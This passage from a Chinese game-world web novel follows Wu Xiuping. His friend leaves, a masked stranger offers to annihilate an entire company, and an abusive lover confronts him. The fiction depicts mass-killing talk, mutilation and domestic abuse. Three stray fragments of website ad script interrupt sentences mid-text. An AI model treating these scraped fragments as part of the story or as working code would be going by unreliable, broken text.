沈曙雀知道乌修平在想什么。她轻而易举看到这个男人言语中的贬低,以及贬低背后的各种情绪。当她侧过头,用那依旧带着血丝的瞳仁看着乌修平,乌修平色厉内茬的话逐步消音下去。
最终,他们之间剩下烂尾楼里的风声。
“我要变强。”沈曙雀平静地说着她经常谈论的问题,“血缘教派好不容易收人。他们最近还在收人,门槛也放低了很多。我努努力,可能会被收下。”
乌修平抓住沈曙雀的肩膀。
他双手紧紧扣住女孩的骨头,随后意识到她尚未康复的手,松松垮垮地挂在对方的肉上,“不可以。阿雀。你忘了吗?他们和明修女有仇。他们连传单都不会往仁爱院这边发,怎么会收下你。”
“伪造身份就行了。”
“哪里有这么容易。”乌修平声音陡然增高,什么可怕的话都钻出来,“不要犯傻了阿雀。他们要放人血,你会死的,你真的会死掉的。”
沈曙雀屹立不倒。
她抬起手,扫掉乌修平搭在自己身上的手,动作里露出袖口下新结的血痂,“啊呜。”
她道:“我一直在放我的血。”
有什么区别吗?
她背起自己带来的小包,往外走。
乌修平看着她的背影,那缓慢的明显还没有疗愈好的背影,怒火中烧。可在怒火之中,他听到自己的心滴着油,同时淌着水,油水相煎,无数爆裂的星点在昏光中跳跃。
他口不择言,“阿雀!你再走一步,以后就不要回来。”
沈曙雀停下来。
她没有转过身,脏兮兮油腻腻的头发胡乱披散开,上面还有没冲洗干净的血块。她的停顿是这一场烈火烹油里的安全时间。乌修平追上去,几步,他内心一切戾气就给走散了。
他只晓得拉住挚友的手,苦苦地哀求她,“阿雀。阿雀。不要离开我。求求你了。我会变强的,我会努力的。”
承诺,是乌修平最后能拿出来的东西。
他不一定能做到,但到了最紧要的关头,人总是会说出各种花言巧语,试图挽回最后一根稻草,最后一点渺茫的希望。
沈曙雀,对乌修平来说是不一样。
他们一起长大,是最好的朋友,同一个痛苦沟壑中的战友,他们打架,他们吵架,他们无论发生什么都会和好,他们之间保持着最初也是最后的信任。
他们是彼此的半身。
“啊呜。”沈曙雀道:“你不会变强了。”
她甩开乌修平的手,切开他们二十年来共生的脐带。
*
雨过天晴,持续好几天的大雨终于收势。
天空变得无限高远,乌修平站在荒坡上周围一切都是湿漉漉的。他远眺那座闪烁着霓虹灯的城市,那越是恢弘多彩的光芒,越照耀得他一无所有。
他痛苦地捂住脸,蹲下,眼泪一串一串往下掉,什么都说不出来,也什么都解决不了。
沈曙雀离开了。
戒断反应让乌修平频繁回头,两只手擦完眼泪,捏着衣角,皱巴巴一团。他站起来,蹲下去,也不知道要做什么,好像希望自己忙起来,又好像希望自己犯蠢后,能得到熟悉的一拳、一巴掌,以及几句骂骂咧咧的话。
什么都没有。
沈曙雀真的离开了。
乌修平站在烂尾楼没有封上的窗户前,远处,大街小巷里已经找不到和沈曙雀类似的身形。他和忽然失去奶嘴的小婴儿没有任何区别,哭泣从一点点开始放大,在意识到这样没有任何作用后,转为可怜的抽噎。
“阿雀。”乌修平含糊不清地念着,“阿雀阿雀。”
泪眼朦胧中,他看见一道黑影闪过。乌修平的胫骨欢喜得弹射起步,他没掌握好重心,撑着地起来,朝着黑影所在的转角连滚带爬起来,“阿雀!”
那黑影停住。
斜射的阳光下,他的双足悬浮于灰尘上,露出乌修平所熟悉的踝骨小痣。
“嗯?”他脸上依旧是那层玉质面具。在如此距离下,乌修平清楚判断出那是款高级道具,拥有玉的光泽,却及其贴合皮肤,呈现出高级丝绸的柔顺感。乌修平隐约能看到他面部肌肉的走向。
“是你。”乌修平胡乱擦拭泪痕,瘪着嘴,“你来做什么。”
“嗯。”神秘人微微下落,脚始终没有踩在地上,永远比乌修平高一头。他没有解释自己听到多少哭泣,转而问出一个问题,“你想变强?”
简直是废话!
乌修平毫不怀疑对方是监视自己后,再改头换面后,专门看自己笑话。他脸耷拉下来,也不给神秘人好看,“要你管。”
他不记得自己和穴鼠提起过多少次“升级”“变强”。
最开始,穴鼠也想过很多办法,什么专门熬药水,什么秘术,什么专属道具。但最后,穴鼠都懒得弄这些东西,他直白地告诉乌修平,你不行。
“这肯定有诅咒的问题,但不全是诅咒的事情。”穴鼠实话实说,“你那个鸟朋友,那种情况才正常。你卡在15级,八成是天赋就到这里了
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
,剩下两成才是诅咒的事情。”
乌修平完全不认同这件事情。
这比说他被诅咒耽误还要伤人。因而,他从没有和仁爱院的大家说过这种推测,他将自己升不了级全部推给了诅咒。
就在来烂尾楼之前,乌修平还不死心的哀求穴鼠:不提高等级,提高战斗力也是可以的。
一无所获。
穴鼠那张嘴吐不出象牙,吐得全是淬了毒的鼠牙。
乌修平想到此处,嘴巴里更没有什么好话了。穴鼠吐不出什么好话,他也是的,简直是什么伤人就说什么,孩子一样无理取闹,“你现在开心了吧。看到曙雀离开我,你知足了。你还专门跑来看笑话……畜生。王八蛋。你没有心……”
非常弱的攻击力。
伤人最多伤到乌修平自己。
他什么都没有了,一事无成,一无所获,愚蠢,无能,简直是全天下最自以为是最可怜的大傻瓜。
可,他想要改变,又不知道怎么改变。在这个时代里,锻炼、学习都不能达到力量的本质提高——他当然可以出卖良心,最简单的做法就是早几天强.暴平安生,变强,燕语姐和孩子们都有机会活下来。
现在,良心卖晚了。
不值钱了。
乌修平再捧着一颗血淋淋的心,有谁要呢?
“我不知道你在说什么。”神秘人道:“不过,为了我的转职任务,我可以给你提供一点小小的帮助。”
他露出微笑。
那笑容在玉质面具下,显现出一种神秘的细微的善良。乌修平从自哀自怨中抬起头,泪水闪烁在他的眼眶。他狗一样爬行到对方脚下,仰着头,看着这个似穴鼠,又不似穴鼠的男人。
“真的吗?”
“当然是真的。”神秘人道:“你知道天底下总有千奇百怪的转职任务。你可以叫我许愿星。我的任务是帮助10个可怜的底层人完成心愿。”
转职任务。
是了。转职任务。
世界上什么样的转职任务都会出现。沈曙雀那种更是奇葩到没有办法完成。乌修平自己只完成过一次转职任务,但不妨碍他轻而易举相信送到面前的机会。
“我需要付出什么吗?”
“不需要。”许愿星道。他调出自己的任务面板,不转职任务那一栏单独给乌修平看。
这下,他完全取得了面前这个可怜男人的信任。
“我。”
许愿星嘘声,提醒道:“愿望越迫切越好,要足够的具体。你也看到了,我的转职任务有判定前提。”
【69-70级转职任务:“做一个善良的好人”】
【任务描述:帮助十个深陷泥潭无法靠自己力量走出来的可怜人,并得到他们真诚的感谢。当心得描述符合职业要求,即转职成功】
游戏面板是整个世界的准则。
乌修平为自己是那个可怜人难过几秒,随后,他感觉心脏正在恢复跳动,手指抓住略微发臭的布料,手指摩挲之间,信任和欲望作为赌注全部推到牌桌上。
“我要。”乌修平抬起肩膀,这让他一瞬间变得狂妄起来。他每一颗牙齿都咬住,每一个字都明确而清晰,“我要,能杀死那个人的力量。”
那个人。
王德经理。
许愿星了然,微微低头,一直在笑,“嗯?那个人才50多……最多不会超过70级。你确定要这个吗?”他在乌修平身边飘荡,声音也变得轻盈起来,“我只能帮你一次,你确定不换成一个更方便的愿望吗?”
忽得,他用气声对乌修平说道:“比如,让成平集团永远消失。”
从上到下,从老板、经理、职员、临时工,整个庞大的集团与产业链,总共三万余人。
全部。永远。
消失。
46.第四十五章
第四十五章
成平集团成立于20年前。
据传,老板就是本地人,在外面发达了回来回馈家乡,创建了成平集团,短短几年从地产、药材、怪物尸体回收、道具副加工一直做到了掌控副本入口,成为本地最大的地头蛇集团。
在乌修平的印象里,十几年前还是有几个可以和成平集团媲美的大型公司分司。但随着一个他不知道怎么念名字的大财团注资,那些抵抗者们不是融入成平集团,就是成为集团扩建中的养分。
成平集团驻扎的城市也从一所、两所、变成数十所,加工后倾销的商品牢牢占据着药水、道具批发中下游市场,每年稳定给当地人提供数百乃至上千个不同的工作岗位。
对乌修平生活的城市来说,成平集团是它日日夜夜都在持续跳动的心脏。
这颗心脏中的心脏,同样,悄然蛰伏在这座人口不足五十万、仅有两个低级副本的中小型城市中,默默回馈着这片土地。
他们互相弥补彼此。
最终交织成一张密不透风的巨网。
这座城市的人们习惯于出入成平集团掌管的副本,习惯在成平集团的商店购买商品,习惯响应集团的招募。他们远走他乡,看到货架上熟悉的贴牌,会露出一种怀念的笑容。
故而,哪怕成平集团明面上的老板等级并不高,也非战斗职业,他还是获得极为有尊严。
他麾下有数以千计的五十级职业者,数以万计的生活类、制造类职业者,还有例如王德经理、傀儡刺客这样专门处理腌臜事情的诡谲职业。全球任何一个地方,他都可以用自己丰厚的财产招募到卖命的死士,杀掉自己想要自己想杀的人。
是以,乌修平第一下没反应过来,是真的没反应过来。
他大感不解,“让集团……永远消失。”
“嗯。”许愿星认真掰指头,“三万人,我只算了你们这座城市缴纳了保险的职工……如果真的要做到清零,算上那些没有登记在册的流水线工种和无保险人员,估计要更多。可能有十万?二十万?”
乌修平已经听不懂了,“啊?”
“保险起见。我觉得第一次召唤天灾,就是那种核弹级别的招式,我们直接轰炸城市三天三夜。”许愿星规划起来,“这样你的愿望就完成了一大半,分部的人可以慢慢杀。”
?
他在说什么?乌修平大惊失色,让整个城市的人全部死掉?
“等等,你是在开玩笑吧。”
“这怎么是开玩笑。”许愿星理所应当地说道:“这些人死了就死了。只要能让你感觉生活变好了,一切都是值得的。”
面具上没有瞳仁,乌修平看到许愿星的眼窝,以及睫毛撑起的一小片弧度,在许愿星轻描淡写说出决定一整个城市的生死,纹丝不动时,他差点以为那面具底下真的是穴鼠。
穴鼠从不在意蝼蚁的死亡——他原话就是这个意思。他不出手拯救仁爱院任何一个人,根本原因就是他觉得这与自己无关。他在意乌修平,就是在意乌修平本身,他不在意乌修平所出的世界。
因为他坚定觉得自己要把乌修平拽入他自己的世界,并叫乌修平舍弃那个穷苦、没有出头之日的破旧三层小楼。
乌修平内心才消磨下去的怀疑,因这理所应当的傲慢口气,再次昂扬起来。他深吸一口气,用在穴鼠那锻炼出来的意志力抗拒道:“不。”
“为什么不。”
“因为……没必要杀这么多人。”
“为什么没必要。”许愿星道:“一口气不杀到人害怕。他们会死灰复燃,很麻烦的。朋友,我不想要给你未来的生活带来麻烦。”
他口气很真诚。如果乌修平是一个60级,不,50级,乃至40级的职业者,大概会为这感人的换位思考热泪盈眶。
可乌修平是一个15级,面对这种高高在上的俯视,他想到的问题永远是与他一样是15级、20级,乃至更低级的人们的生活。
他当然知道许愿星的话站在他那个层次有其必要性,可是他不是。
他站得那么低。
一个低贱的15级。
他有资格继续维持那个“不”字,坚定地重复道:“不。”
“那我杀得少一点,本地小组长及以上的领导层。”许愿星道:“不能再少了,姑且算个三千人。”
为了不让乌修平再说一个“不”字,许愿星抢先回答道:“我知道你的事情。用技能……总之,你觉得有多少人知道‘痛苦之匣’的事情呢?你不把消息彻底封锁,逃到天涯海角都会有人找过来。朋友。我经历过的事情可比你多得多,不彻底消杀,后患无穷。”
乌修平霎时迷茫。
他当然这正确的、必要的,他与大集团之间横跨着23具孩子的尸体、燕语姐死不瞑目的双眼、平叔失去的四肢。
可他让一时间把仇恨从独立的个人聚焦到整个集团上,聚焦到那些不具象的人、事、物,对他来说太大了。
“我。我一开始只想救回平叔。”乌修平说道:“我不知道要杀那么多人。”
许愿星反问道:“所以,这才是你的愿望吗?”
“是的。”乌修平磕磕绊绊拼凑出自己的心灵版图,“我最开始只想要杀欺负平叔的人。我想知道当时是怎么回事……我没想到会死那么多人。”
许愿星了然。
不论他心里想什么,现在他至少对乌修平保持得体的语气。
“那我告诉你吧。【罪恶查询】。”蓝色光圈从许愿星指尖弹射扩散,一圈一圈围着他旋转。大风涌入许愿星一米范围内,每一道不同来处的风都化为扭曲的图文,缠绕,组合,最后与风一并缓冲,停滞。
许愿星开始了技能的汇总,“这个技能可以查询到一个事件相关的罪恶记录……要想达成你的目标最少要杀36个人。这还只是这座城市里的记录,你理解这个数字的意义吗?”
乌修平摇摇头。
许愿星告诉他,“这36人都用你那个什么谁提升过能力。现在明白了吗?”
乌修平不愿意明白。许愿星便要说得再明白一点。乌修平又瞬间明白了。这个家伙就是不想听罢了,他垂死挣扎,许愿星硬拽着他上岸,任由他在干燥的空气里直面最残忍的境地。
“可以给我名单吗?”
“我只能看到数字。”许愿星倡导道:“还是一劳永逸吧。只要我们杀得足够多,就不会放过任何一个坏人。”
乌修平:“你真的是这么觉得吗?”
许愿星还是不死心,他换个角度打击乌修平,“这个计划可比你慢慢提高能力,经济实惠多了。”
“……”乌修平脑袋里有点不妙的想法,“我就这么差劲吗?”
“是的。比起教你变强,我宁愿去杀三万人。”
乌修平对自己的资质之差有了全新的认知。
这时候他给自己最后的面子,图剩下嘴硬,“战斗力。我还是想要变强。”
“你要有那个天赋早变强了。”许愿星道:“就算适合你,也不是速成,而是很辛苦要花时间去磨的笨技巧——行了——等级提不上去,你这些花招练得再多也没有用。”
道理确实这个道理。
乌修平还是无法苟同许愿星滥杀无辜的计划。他持续嘴硬,越到后面越有和穴鼠吵架的架势,声音一次比一次大,“我可以练。不管多累,我都可以练。”
“……你没这个命。”许愿星道:“来吧来吧,我懒得说你了。练两天,你就知道还是我的方法好。”
*
成平集团。
王德经理将平安生安置在公司保险仓库,自己坐电梯直达顶层。空旷的桥箱打开,一览无余的全景落地窗,概括整座城市风光。王德经理精准找到那个站在风景中的男人。
集团的创始人兼明面上的掌控者,乌辛。
他梳着大背头,穿着浅灰色西装马甲,西装裤微皱,外套随意搭在行政椅背上,嘴唇叼着一根雪茄,手指夹着红色记号笔。湛蓝的雨后晴空被他贴上一张旧时代的行政地图,红色叉成片成片往上长。
王德经理上前的几步里,乌辛又往几个地名上打了叉。
“唉~”
王德经理不得不跟着叹气一声,招呼道:“老板。我把痛苦之匣带回来了。”
乌老板缓慢转过身。他的皮囊保养得当,看上去不超过三十岁。除了眼角的细纹增加一点熟男气质外,几乎没有太能指摘的瑕疵。而撇去这点,他有一种东亚式的忧郁气质。
那并不是指他面部五官细长,相反,他的唇相当饱满,双目的神志都似被这极具亲吻诱惑性的嘴唇勾住。他身上那种不协调的甚至有些违背常识的美,是稍微挪动几毫米都会被破坏掉的。
王德经理每次见乌辛老板,都感叹他这种奇诡的皮囊之美。可要他仔细说,却没办法很好的用语言表达出来。
“王德。你来了。”乌老板问道:“之前辞职的员工,你处理了?”
王德经理稍微有些犯难,“这个。对方比较能躲藏,我们的人跟丢不止一回了。”
“入职合同没给他打上追踪烙印吗?”
“用得老合同。”
谈起工作,再美的帅哥也变得凶神恶煞。王德经理逐渐找回那种工作上的无力感,他在心里狂骂这个老鳖孙,要不是有幸生了个好儿子,哪里来的脸在他面前耀武扬威,还要自己给他打工。
乌辛手一顿,无辜极了,“你又在骂我。”
王德经理:“没有。”
乌辛已经习惯了挨骂。做老板嘛,被下属骂一骂怎么了。他从冰箱中找出一只雪茄,剪好,递到王德经理嘴边,宽宏大量极了,“骂吧骂吧。帮我想想的怎么办……姓陈的小崽子和我儿子关系还可以。但也没好到那种程度,反而是他妈和我儿子他妈关系太好了。”
“把痛苦之匣给他们。”
“他们会玩坏的。”乌辛头疼揉揉太阳穴,“你也知道,痛苦之匣是有使用上限的。这是我找东西最后的线索,真给玩坏了,我彻底玩完了。”
乌辛想起自己的儿子,又是一阵叹息。
他的大儿子长相俊美,天资卓越,年纪轻轻突破80级。前几年又开始闭关,看样子是要准备升入90级的转职任务。乌辛每年绞尽脑汁给亲儿子准备礼物,什么奇怪道具,什么神秘药水,什么稀有材料都拿出来过,每年连宴会大门都没有办法进去。
这可是他亲儿子!
“唉。”乌辛哀叹一声,愁眉苦脸。
这几年他什么办法都试过了。他找来的材料,别人都能找来更好的,他找来的道具,别人直接成套送给他儿子,他找来的美女帅哥,他儿子看都不看,直接跳过。
思来想去,乌辛只能去找宝贝儿子曾经最喜欢的独一无二的东西。
他确信,他的儿子看到那东西会惊喜。
世界上第一个“痛苦之匣”
一个能赐予别人“同等技能”的匣子。
“继续找吧。”乌辛咒骂道:“当年那个保姆,就是把他抛弃在这座城市。我已经好几年没找过了,再找一次。”
王德坐在一边抽烟,眼白都快翻上天了。
显然,这个苦差事又轮到他头上。
“找了这么多年。你到底想起什么有用的东西来。”王德经理大吐苦水,“要不是见到那个平安生,我还不知道,‘痛苦之匣’居然真的是个人。天啊,是个人!整个集团这么多年上上下下都在找箱子——谁知道‘痛苦之匣’居然是个人。”
乌辛抱着脑袋,乖乖挨骂。
他也实在是头疼,怎么也想不出一二三四来,“我哪里知道,‘痛苦之匣’最初不是技能吗?我们当年几乎查遍了所有与【痛苦】【疗愈】相关的资料,特别是那些天之骄子。”
通常,出生自带技能和天赋加成的孩子会被冠以“天才”之名。
成平集团第一次筛查完全是挑着那些天之骄子去的。他们什么稀奇古怪的神灵加持没见过?什么相关技能没见过?但把能走的地区都走一遍,他们愣是没查到一个与“痛苦之匣”描述类似的神灵加持技能。
痛苦的大海捞针行为,直接导致整个领导班子他怀疑“痛苦之匣”其实不是真正的技能,而是一个“制成道具”的“素材”。
乌辛甚至有一套完整的推论:什么要把那个小婴儿放在炉火里炼制成什么箱子,然后那个叫做“痛苦之匣”的技能才会随道具制成,彻底发挥作用……叫,叫什么主材料之类的。
总之乱七八糟一堆东西。
他还煞有其事说,按照这个逻辑,痛苦之匣肯定是一个箱子,而不是最开始的人形。
直到三年前,他们得到了平安生。
成平集团领导班子先体验“痛苦之匣”的机制,研究员们再延续“箱子道具”的错误逻辑,循序渐进砍掉了平安生的四肢,把人装进箱子中。最后整个集团所有决策者不得不面对自己前面二十年前的超级大错误!
“痛苦之匣”根本就不是什么做稀有道具的主材料。
“痛苦之匣”就是一个技能,一个非常奇怪的触发后会改变整个人的技能。
领导班子当天就掀桌,所有人围着乌辛老板指着骂了一天一夜,“那不是你的孩子吗?你怎么连你孩子的技能都不清楚。你到底怎么当爹的?”<
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
p>乌辛唯唯诺诺,屁都不敢放一个。
他的帅气在此刻毫无用处,批评会上“嗯嗯啊啊啊”得直接哭出声,“这么多年过去,我哪里记得他是什么啊。你们又不知道。我都是嗑药嗑上来的,什么技能什么道具,我哪里懂啊。”
“不懂你说个屁!”
但奈何,他是大少爷的爹,是全场唯一一个亲眼见过痛苦之匣的存在,后续甚至找到门路,寻回很重要的弥补材料。
整个集团上下一心,势必要挽回大少爷的关注。
他们仔细洗刷平安生,奢望借表少爷之手,委婉把“痛苦之匣-平安生”供给大少爷,让大少爷回忆过去与他那匣子的快乐生活,让乌老板这个爹在他儿子心里有点存在感。
表少爷死了?那至少把“痛苦之匣-平安生”找回来啊。
没有什么比哄大少爷开心更重要了。能找回大少爷的匣子,也算是了却大少爷心中一块挥之不去的心病。
这多重要啊。
王德经理很清楚其重要性。他再次拿出本子,对着美丽愚蠢的老板拷问,“老板,再努力回忆一下。那孩子有什么特征吗?你除了‘痛苦之匣’这四个字外,你还记得什么吗?”
乌辛抱着脑袋努力回忆,想得头疼也想不出什么一二三四五。小婴儿一张脸都是皱巴巴的,能看出什么东西?乌辛只记得孩子生出来没多久,为不让老婆生气,他赶快把孩子全全交给他的老婆和儿子处理了。
他知道什么?!
他什么都不知道,连孩子男女性别都不清楚,只知道宝贝儿子那段时间格外喜欢念叨“痛苦之匣”四个字,对他这个当爹的脸色也好了不少。
“要我们再搞一次大筛查?”
王德经理举起烟灰缸,大有一榔头敲下去的样子。
乌辛顿时求饶。他等级可脆了。滑跪之余,还用为数不多的脑子琢磨道:“应该是个女孩吧。”
“你确定?”
“一定是女儿!”乌辛自己给自己说得理直气壮了,“我这么封建的人,怎么会把儿子送出去呢。一定是女儿。”
王德:“老板,你真是世纪渣男。那我们就找22岁左右的女孩做dna检测?”
“你看着安排吧。”乌辛大手一挥,其实他根本不知道什么是DNA检测。公司也不是他在管,他就是裙带关系的废物。
目前,他最重要的工作是吃饭睡觉舔儿子找匣子。
乌辛翻翻自己提前标注好的日期,“我看看日子。这天我老婆去美容,我儿子……一周后是他小学开学典礼纪念日,要不把‘痛苦之匣’送过去?给儿子看看我们现在的成果?”
小学开学典礼纪念日。
多好的日子。
主要是显得他这个爹当得细致入微,关怀感人。乌辛盘算几回,越算越算无遗漏——这回他要看看那些人还有什么借口把他赶出来!
他去看看自己亲儿子,送点东西怎么了?
*
“阿嚏。”乌修平连续打了好几个喷嚏。
许愿星乘机一刀砍在他的脖颈上,将他连人带屁掀翻,在地上打了好几滚。
乌修平这次没有屏蔽痛觉,捂着屁股,倒吸好几口凉气。秋雨又开始淅淅沥沥,地面湿滑,给他的训练造成极大阻碍。许愿星又压根不会压制等级,什么招数都掐着点使出来,主打一个暴打菜鸟。
这就是他给乌修平的训练方式:掐秒战斗。
“真正的战斗是按毫秒来算的。”许愿星用木刀敲打乌修平的脑壳的,“你屏蔽痛觉,变相关闭一半的身体反馈机制,反应速度变慢、反应不及时,都是你滥用诅咒的福报啊。”
乌修平插着木刀,从地上爬起来,还没站稳又被许愿星一顿暴锤。
他抱着头,在地上连连打滚,痛字都说不完整。
草丛中一只鬼鬼祟祟的花布小老鼠冒出脑袋,满眼珠都是沾上的雨珠,他卷卷尾巴,乌修平每挨打一次,他尾巴都砰的收缩一下,枯草上的水珠稀稀拉拉都给他摇下来了。
“你闪避不灵,攻击不准,直觉不够。你这样的人做刺客,简直是刺客的耻辱。”
乌修平认了。
许愿星嘴巴坏,却真的在教自己东西。
至少这两天接触下来,他从他身上学会了不少。偶尔,乌修平试图讨好许愿星,产生过要给对方买点什么的念头,下一秒羞愧于自己什么都没,还遭到许愿星狠狠的嘲笑。
每到这时,乌修平就把脸转到曙雀常在的那一侧,任由冷空气拍打他的脸,唤醒他的意识。
曙雀真的离开了。
乌修平长叹口气。他爬起来,再次被击落在地上,蒙头蒙脑挨了顿毒打。草丛中的花布小老鼠再也忍不住,嗖嗖窜出来,一脚先踹乌修平的蠢脑壳,在吱吱吱吱对着许愿星说脏话。
……虽然一直都是吱吱吱,但乌修平直觉这鼠语骂得很脏。
“这是什么?”许愿星嘲笑,“你还玩这个?”
花布小老鼠气恼地拱起屁股,做出战斗的姿态。
许愿星收起木刀,伸出两根手指,邦——
花布小老鼠被弹出去一米远,头朝下栽在雨后潮湿的泥巴里。
“我们继续。”许愿星道:“今天不把你打得改变主意,我就一直打下去。”
乌修平沉默。
沉默的男人揪住花布小老鼠的尾巴,将它从泥巴里拔出来,拍拍它湿哒哒的可怜屁股。随后,不管花布小老鼠吱吱乱叫多少次,乌修平都装作看不见,哪怕鼠鼠蹦到他鞋子上,吱吱哇哇呜呜乱哭,乌修平也狠下心当做什么都听不见。
花布小老鼠生气极了,扭着屁股跑回家告状去了。
“真的没问题吗?”许愿星兴致上来,一边揍乌修平,一边追问道:“那可不是刺客的技能,是你的姘头?”
乌修平不说话。
他觉得自己和许愿星待下去,穴鼠肯定要生气。可要他和穴鼠说许愿星的事情,那也是要生气的。他自己又不知道怎么面对说出“他们死了就死了”的穴鼠,一味地逃避,反而让心态轻松起来。
许愿星偏偏不乐意让人轻松,“怎么不回答我?”
乌修平不说话。
他石头似地遭人砍了一路,中间许愿星和他说了什么都听不见,耳朵出了血,耳膜里一片糊糊的雨声。
他站起来。
刹那,大片黄泥中隆起一根藤条,抽得声缠住乌修平的脚踝,先将他摔得满身泥浆,接着一路拖拖拖拖,框框框框,最后啪啪啪啪,甩到地上,关上门。
“那男的是谁!!”
穴鼠跳上来,掐住他的脖子,歇斯底里,“我要阉了你!”
47.第四十六章
第四十六章
乌修平后脑勺都给撞出好几个大包。
乌修平:……
乌修平:“你又干嘛?”
实不相瞒,阉割对乌修平来说侮辱性和伤害性都不大。前者代表穴鼠很满意他的这玩意,后者穴鼠根本下不去手。乌修平最开始那点害怕也随着穴鼠光说不动逐渐消散,他身上黏黏腻腻,弄得穴鼠也黏黏腻腻,干脆打抱起穴鼠,朝着浴室走去。
穴鼠才不会这么简单原谅乌修平。
他手依旧卡在乌修平咽喉上,指甲掐到肉里,等沐浴头打开,稍微冲刷身上的泥浆后,扑上去死死咬住乌修平的喉结。他实在是用力,两人一并倒在浴室瓷砖上,坐着滑倒在一起,衣服黏糊糊贴在一起。
乌修平吃痛闷哼声。
穴鼠更疯狂撕咬起来,涎水拉成丝,乌修平的喉结与管子咬得比寻常处都窄了一段。
“你和他是什么关系。”
乌修平:“勉强算是师生。”
“我才不相信。”穴鼠眼神刻在乌修平身上。他撕开男人身上的衣服,检查是否有可疑的伤痕。他的双手在乌修平肌肤和肌肉上乱抓,指甲挠出的血痕覆盖掉木刀造成的红肿,乌修平被迫承受两种细小又微妙不同的痛觉。
他没开痛觉屏蔽,硬生生承受穴鼠给自己的一切。
“他碰了你这里吗?”穴鼠夹住一道粗短的红印,不断丈量着,“他怎么打得?还是咬你?你让人碰你——啊啊啊,你有没有听我说话。”
乌修平回神。
他组织语言的空挡,穴鼠摘下沐浴头,用技能控制水温,在最高一档的温度烫着乌修平的皮肤吗“这里?还有这里。”
乌修平的肉很快烫成赤红色。他的脸泛着白,胸口烧得通红,一条一条不规则的红肿,荆条似长满他的胸口、宽背、手臂。穴鼠冲得无趣,丢开沐浴头,又想不出什么新的惩罚手段,双眼熏得发昏。
“他是谁?”
“许愿星。”乌修平不在意这个假名,就像他一直知道穴鼠也是个假名。他道:“我们真的没什么。”
穴鼠似乎被安慰住了。
可下一秒,他又忍不住疑心,“他是不是觊觎你的美色。”
乌修平摸摸自己的脸,没忍住,自嘲地笑起来。他依旧不知道怎么面对穴鼠,但不否认穴鼠这一次真把他逗笑了。他抓着穴鼠的手放在自己脸上,一瞬间绸缎的质感从他脸上拂过。
“什么美色。”乌修平道:“只有你这么觉得。”
“那他干什么找你。”穴鼠无理取闹,一点都不觉得好不好意思,“他还欺负鼠鼠。”
乌修平想,这才是主要原因。
他打了点肥皂,娴熟帮穴鼠打理身体,中途将溜进来的泥浆小老鼠泡在脸盆里,从内到外揉搓个遍,交代前因后果。
穴鼠听完。穴鼠一个屁都不相信。
“他就不是什么好人。”穴鼠叫嚣道:“离他远一点!我闻到他身上的味就恶心。”
乌修平很无语。
乌修平:“你能闻到什么味道。”
穴鼠当即抱住乌修平的脸,将他的嘴捏成嘟嘟肠,狠狠咬下去,咬得鲜血淋漓,两个人全躺在瓷砖上,一边疼一边打滚。乌修平差点开屏蔽,最后没忍住一巴掌打在穴鼠的大腿屁股肉上,清脆的巴掌声响起,穴鼠直接松开一直抱着的脸,左右开弓给乌修平两巴掌。
“你为了他打我?”穴鼠声音都在发颤,“臭乌鸦。你反了天!你为了一个才认识两天的男人打我?”
乌修平擦拭嘴唇,越擦,血越多。再看看捂着屁股的穴鼠,那上面一点巴掌印都没有,顶多是声音大声点。狭窄的浴室持续回荡着穴鼠叫嚣的声音,乌修平身体里涌上阵疲倦。
他与穴鼠的关系并不健康。他知道。
他想过很多次与穴鼠分开。他真的想过。
可真面对穴鼠,乌修平又不是那么想分开,他疲于面对男人的无理取闹,不知道如何描述两人之间巨大的鸿沟——可能,他想要一个许愿星那样,犀利却能帮助自己的人。或许,他想要一个平叔那样,温柔又有耐心爱着自己的人。他对未来伴侣的幻想绝没有出现穴鼠这样的类型。
偏偏,他与他的身体亲密无间。
乌修平面无表情按住冒出头的花布小老鼠,狠狠堆着泡泡,把它搓得噗吱吱噗吱吱吐泡泡。
没办法。他现在不是很爱穴鼠,可他又不想要离开这个男人。乌修平很难描述那种状态,因为那太可耻了:他自己当然察觉到这种微妙的迁就,并不是他迁就穴鼠,而是他迁就着他自己那点吊着人的卑劣心思。
他肯定穴鼠闹来闹去就是这三件套,而不会有新的变化。
在他不知道的地方,穴鼠必然发生了什么事情。他不需要知道那些事情是什么事情,乌修平只需要知道,在某一天,穴鼠对他的态度发生了变化,这种变化延续下来。
他在利用穴鼠满足他自己的空虚。
乌修平又狠狠搓花布小老鼠,小老鼠冒出来吱吱吱没几下,泡在肥皂里咕咕咕吱吱吱好一会,肚子里的黑泥都吐干净,甩着尾巴抽乌修平的手腕,咕咕咕呼呼吱吱地吹泡泡抗议。
穴鼠唱了好久的独角戏,始终得不到回应,一脚踹飞花布小老鼠的洗澡盆,踩着水怒气冲冲去床上。
没一会儿,他回来的掏出个,对乌修平的发狠,“你真是不死心。拿着去,给那个什么破烂星照照。”
乌修平接过。
那是一面直径25厘米的镜子,处于氤氲的卧室里也完全不产雾。乌修平湿手压在上面,越是靠近,镜面中的人越是清晰。等他完全看到镜中人的样貌,惊讶到嘴唇微张,说不出话来。
“这是?”
乌修平伸出手,摸了摸自己的脸。
镜子中的男人跟着摸了摸脸。
若不是手下依旧粗糙的疤痕、毛刺、癞斑。乌修平还真以为穴鼠往沐浴头里塞了什么灵丹妙药。他一时间都快忘记与穴鼠的矛盾,专注看着镜子中那个端庄又带着一种奇异至美的男人:
五官单拎出来都不算是雅致,组合再一起,间距也不算规矩,可当他们出现在一面镜子时,拼图最后一块完成归位,完成式的美感具象化。乌修平伸出手触碰双唇,镜子中男人那双丰厚,适合亲吻的唇跟着颤动起来。
现实中,他的嘴唇被人用剪子活生生绞成三分。张嘴,闭合,像三份断在泥地上挣扎的蚯蚓。
“这是……我?”乌修平再次不可思议地看着镜子。第二次看得比第一次更加仔细,更加专注,以至于产生种荒谬的思绪:光看镜子中这张脸,他与穴鼠还是很有夫妻相的。
也说不上是
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
哪里相似。
乌修平觉得就是相似,他们日日夜夜睡在一起,潜移默化之中,血与骨,肉与皮,丑与美黏合成一团,就算穴鼠现在嘲笑乌修平,说一切都是他所做的幻觉,乌修平也能比开头好许多,心平气和说,是,你做得幻觉真好看。
穴鼠还是喜欢他的。
